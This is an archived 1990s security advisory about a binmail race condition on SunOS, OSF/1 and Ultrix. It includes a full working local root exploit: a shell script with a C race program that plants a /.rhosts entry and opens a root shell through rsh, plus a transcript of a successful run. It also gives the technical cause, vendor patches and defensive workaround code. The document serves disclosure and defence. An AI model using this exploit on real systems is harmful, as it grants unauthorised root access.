Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: binmail.htm

Binmail Race Condition



Vulnerability

    binmail(1)        (/usr/bin/mail)

Affected

    SunOS 4.1.x
    OSF/1 1.2, 1.3, and 2.0
    Ultrix 4.3, 4.3A, 4.4
    Solbourne ?.?

    (Possibly other platforms)

Description

    A  race  condition  exists  in  binmail(1),  which allows files to
    be created  in arbitrary  places on  the filesystem.   These files
    can be owned by arbitrary (usually system) users.

    This  example  demonstrates  how  to  become root on most affected
    machines  by  creating/appending-to  root's  .rhosts file.  Please
    do not do this unless you have permission.

    Create the following file, 'mailscript':

    --------------------------- cut here ----------------------------
    #!/bin/sh
    #
    # Syntax: mailscript user target-file rsh-user
    #
    # This exploits a flaw in SunOS binmail(1), and attempts
    # to become the specified 'user', by creating a .rhosts
    # file and using rsh.
    #
    # Written 1992 by [8LGM]
    # Please do not use this script without permission.
    #
    PATH=/usr/ucb:/usr/bin:/bin      export PATH
    IFS=" "                          export IFS

    PROG="`basename $0`"
    SPOOLDIR="/var/spool/mail"

    # Check args
    if [ $# -ne 3 ]; then
	    echo "Syntax: $PROG user target-file rsh-user"
	    exit 1
    fi
    TARGET="$1"
    TARGET_FILE="$2"
    RSH_USER="$3"

    # Check we're on SunOS
    if [ "x`uname -s`" != "xSunOS" ]; then
	    echo "Sorry, this only works on SunOS"
	    exit 1
    fi

    # Check user exists
    grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
    if [ $? -ne 0 ]; then
	    echo "$PROG: Warning, $TARGET not in local passwd file"
	    # We continue though, might be in the YP passwd file
    fi

    # Check target file
    if [ -f $TARGET_FILE ]; then
	    OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
    2>/dev/null
	    echo "$PROG: Warning, $TARGET_FILE already exists, appending"
    else
	    OLD_TARGET_LEN=0
    fi

    # Delete spool file if its a link, and we are able
    if [ -h "$SPOOLDIR/$TARGET" ]; then
	    rm -f "$SPOOLDIR/$TARGET"
	    # Dont worry about errors, we catch it below
    fi

    # Check mail file
    if [ -f "$SPOOLDIR/$TARGET" ]; then
	    echo "$PROG: ${TARGET}'s mail file exists."
	    exit 1
    fi

    # Make the race program
    cat > mailrace.c << 'EOF'
    #include <unistd.h>
    #include <stdio.h>

    char lockfile[] =".lock";

    main(argc,argv)
    int argc;
    char *argv[];
    {
	  char path[128];
	    if (argc != 3) {
		    fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
		    exit(1);
	    }

	    strcpy(path, argv[1]);
	    strcat(path, lockfile);
	    while(access(path, F_OK));
	    symlink(argv[2], argv[1]);
    }
    EOF
    cc -o mailrace mailrace.c

    # Check we now have mailrace
    if [ ! -x "mailrace" ]; then
	    echo "$PROG: couldnt compile mailrace.c - check it out"
	    exit 1
    fi

    # Start mailrace
    ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
    RACE_PID=$!

    # Send mail to the user
    NEW_TARGET_LEN=$OLD_TARGET_LEN
    while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
	    echo "Sending mail to $TARGET"
	    echo "localhost $USER" | /bin/mail $TARGET
	    sleep 10
	    kill -STOP $RACE_PID
	    rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
	    if [ -f $SPOOLDIR/$TARGET ]; then
		    echo "$PROG: Sorry, we lost the race - cant try again."
		    kill -9 $RACE_PID
		    exit 1
	    fi
	    kill -CONT $RACE_PID
	    if [ -f "$TARGET_FILE" ]; then
		    NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
    2>/dev/null
	    else
		    NEW_TARGET_LEN=0
	    fi
	    if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
		    echo "We drew the race that time, trying again"
	    fi
    done

    # We won the race
    kill -9 $RACE_PID
    echo "We won the race, becoming $RSH_USER"
    rsh localhost -l $RSH_USER sh -i
    exit 0
    --------------------------- cut here ----------------------------

    (Lines marked with > represent user input)

    Check what root users are on the system:

    >   % grep :0: /etc/passwd
	root:*:0:1:Operator:/:/bin/csh
	sysdiag:*:0:1:Old System
	Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
	sundiag:*:0:1:System
	Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
	+::0:0:::

    We choose a user with UID 0, but without a
    /var/spool/mail/<username> file:

    >   % ls -l /var/spool/mail/sysdiag
	/var/spool/mail/sysdiag not found

    Execute  mailscript.   The  user  is  sysdiag,  the target file is
    /.rhosts,  and  the   user  to  rsh   to  on  success   is   root:

    >   % chmod 700 mailscript
    >   % ./mailscript sysdiag /.rhosts root
	mailscript: Warning, /.rhosts already exists, appending
	Sending mail to sysdiag
	We won the race, becoming root
	./mailscript: 11051 Killed
	#

    This problem exists  because /var/spool/mail is  rwxrwxrwt. (Other
    systems have their spool dir  rwxrwxr-x, and run their MUA's  sgid
    mail).  Before  it opens the  mail file, binmail  does an lstat(2)
    to check  that it  is not  about to  write to  a linked file.  The
    intention  is  to  prevent  arbitrary  files from being created or
    appended to.

    However, there  exists a  window of  opportunity between  lstat(2)
    and open(2);  if a  link is  created after  lstat, open  will then
    follow the link.   This is not  a straightforward task,  as it  is
    not possible to predict when to create the link.

    Therefore  it  is  necessary  to  have  a program (mailrace) which
    continually creates links and then  removes them.  To exploit  the
    window  of  opportunity,  it  is  required  that the link has been
    removed before the context switch for lstat, but exists for  open.
    There are three possible outcomes for this race:-

    1) lstat finds a link - mail returned to sender.

    2) link  does  not  exist  for  lstat,  but  does for open -  file
       created  - we win.

    3) link does not  exist for lstat or  open - mailbox created.   In
       this case,  it is  not possible  to remove  the mailbox (as the
       stick bit  is set  on /var/spool/mail),  so it  is necessary to
       choose another target user.

    In tests, it would appear that the chances of 1) and 2)  occurring
    are  approximately  equal,  with  the  chance of 3) being somewhat
    lower.

    Please note that this  vulnerability may exist on  other platforms
    where  the  mail  spool  directory  has  mode 777 and /bin/mail is
    setuid root.

Solution

    Contact your vendor for a patch.
    For OSF/1 upgrade/install OSF/1 to  a minimum of V2.0 and  install
    Security Enhanced Kit CSCPAT_4061 v1.0.
    For  Ultrix  upgrade/install  ULTRIX  to  a  minimum  of  V4.4 and
    install Security Enhanced Kit CSCPAT_4060 v1.0.
    For SunOS  current patches  are listed  below, but  they are being
    revised.

    SunOS      Patch              MD5 Checksum
    ------     -----              ------------
    4.1.3      100224-13.tar.Z    90a507017a1a40c4622b3f1f00ce5d2d
    4.1.3UI    101436-08.tar.Z    0e64560edc61eb4b3da81a932e8b11e1

    The patches  can be  obtained from  local Sun  Answer Centers  and
    through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist
    directory. In Europe, the patches are available from  mcsun.eu.net
    in the /sun/fixes directory.

    We  have  considered  several   potential  workarounds  for   this
    vulnerability.   The ideal  fix would  be to  remove global  write
    access  to  the  mail  spool  directory.   However,  this  is  not
    possible  as  programs  such   as  /bin/mail,  /usr/ucb/Mail   and
    elm  require  everyone  to  have  write  access.   Also  it is not
    possible  to,  for   example,  change  the   group  ownership   of
    /var/spool/mail  to  mail  and  give  /bin/mail  and /usr/ucb/Mail
    setgid  mail  privilege,  as  they  do  not  reset  their group id
    before forking a shell.

    We have therefore  decided that the  following is the  only viable
    method:

    1. Ensure  that  every  user  maintains  a  mailbox  file.     The
       following  program  will  create  a  mailbox  for  every   user
       on the system, if one does not currently exist.

    --------------------------- cut here ----------------------------
    /*
     * makemailboxes.c
     *
     * Written 1994 by [8LGM]
     *
     * This program is part of a workaround for the SunOS 4.1.x /bin/mail
     * bug described in the 8LGM Advisory.  This program should be executed
     * as root, and will create a mailbox for each user that doesnt have one.
     * In order for this workaround to be effective, /usr/ucb/Mail also needs
     * to be wrapped with wrapper.c.
     */

    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/param.h>
    #include <sys/file.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <pwd.h>

    #define MAIL_SPOOL_DIR "/var/spool/mail"

    main(argc, argv)
    int argc;
    char *argv[];
    {
	    int    fd;
	    char   path[MAXPATHLEN + 5];
	    struct passwd *pw;

	    umask(0);
	    setpwent();
	    while (pw = getpwent()) {
		    sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
		    if (access(path, F_OK)) {
			    if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
				    perror("open");
			    else {
				    if (fchown(fd, pw->pw_uid, pw->pw_gid))
					    perror("fchown");
				    close(fd);
				    printf("Created %s\n", path);
			    }
		    }
	    }
	    endpwent();
	    exit(0);
    }
    --------------------------- cut here ----------------------------

    2. /usr/ucb/Mail removes the mailbox file if all mail has
       been read, and the user is not preserving the contents.
       Therefore, we would recommend using the following wrapper
       for Mail, which creates the user's mailbox if it has been
       removed.

    /*
     * wrapper.c
     *
     * Written 1994 by [8LGM]
     *
     * This program is part of a workaround for the SunOS 4.1.x /bin/mail
     * bug described in the 8LGM Advisory.  Programs such as /usr/ucb/Mail
     * that will delete the user's mailbox when he/she has no mail need to
     * be wrapped with this.
     *
     * Install as follows:
     *
     *        # cc -O -o wrapper wrapper.c
     *        # mv /usr/ucb/Mail /usr/ucb/Mail.old
     *        # mv /usr/ucb/mail /usr/ucb/mail.old
     *        # cp wrapper /usr/ucb/Mail
     *        # chmod 755 /usr/ucb/Mail
     *        # ln /usr/ucb/Mail /usr/ucb/mail
     *
     * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
     */

    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/param.h>
    #include <sys/file.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <pwd.h>

    #define MAIL_SPOOL_DIR "/var/spool/mail"

    main(argc, argv)
    int argc;
    char *argv[];
    {
	    pid_t  pid;
	    int    status, fd;
	    char   path[MAXPATHLEN + 5], *user;
	    struct passwd *pw;

	    if ((pid = fork()) == -1) {
		    perror("fork");
		    exit(1);
	    }

	    sprintf(path, "%s.old", argv[0]);
	    if (pid == 0) {
		    execvp(path, argv);
		    perror("execvp");
		    exit(1);
	    }

	    setuid(getuid());     /* Just in case we're suid,
				     which we shouldnt be */
	    if (waitpid(pid, &status, 0) == -1) {
		    perror("waitpid");
		    exit(1);
	    }

	    if ((user = (char*)getenv("USER")) == NULL) {
		    if ((pw = getpwuid(getuid())) == NULL) {
			    fprintf(stderr, "Who are you?!");
			    exit(1);
		    }
		    user = pw->pw_name;
	    }
	    sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
	    if (access(path, F_OK)) {
		    if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
			    perror("open");
		    else
			    close(fd);
	    }
	    exit(status);
    }


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH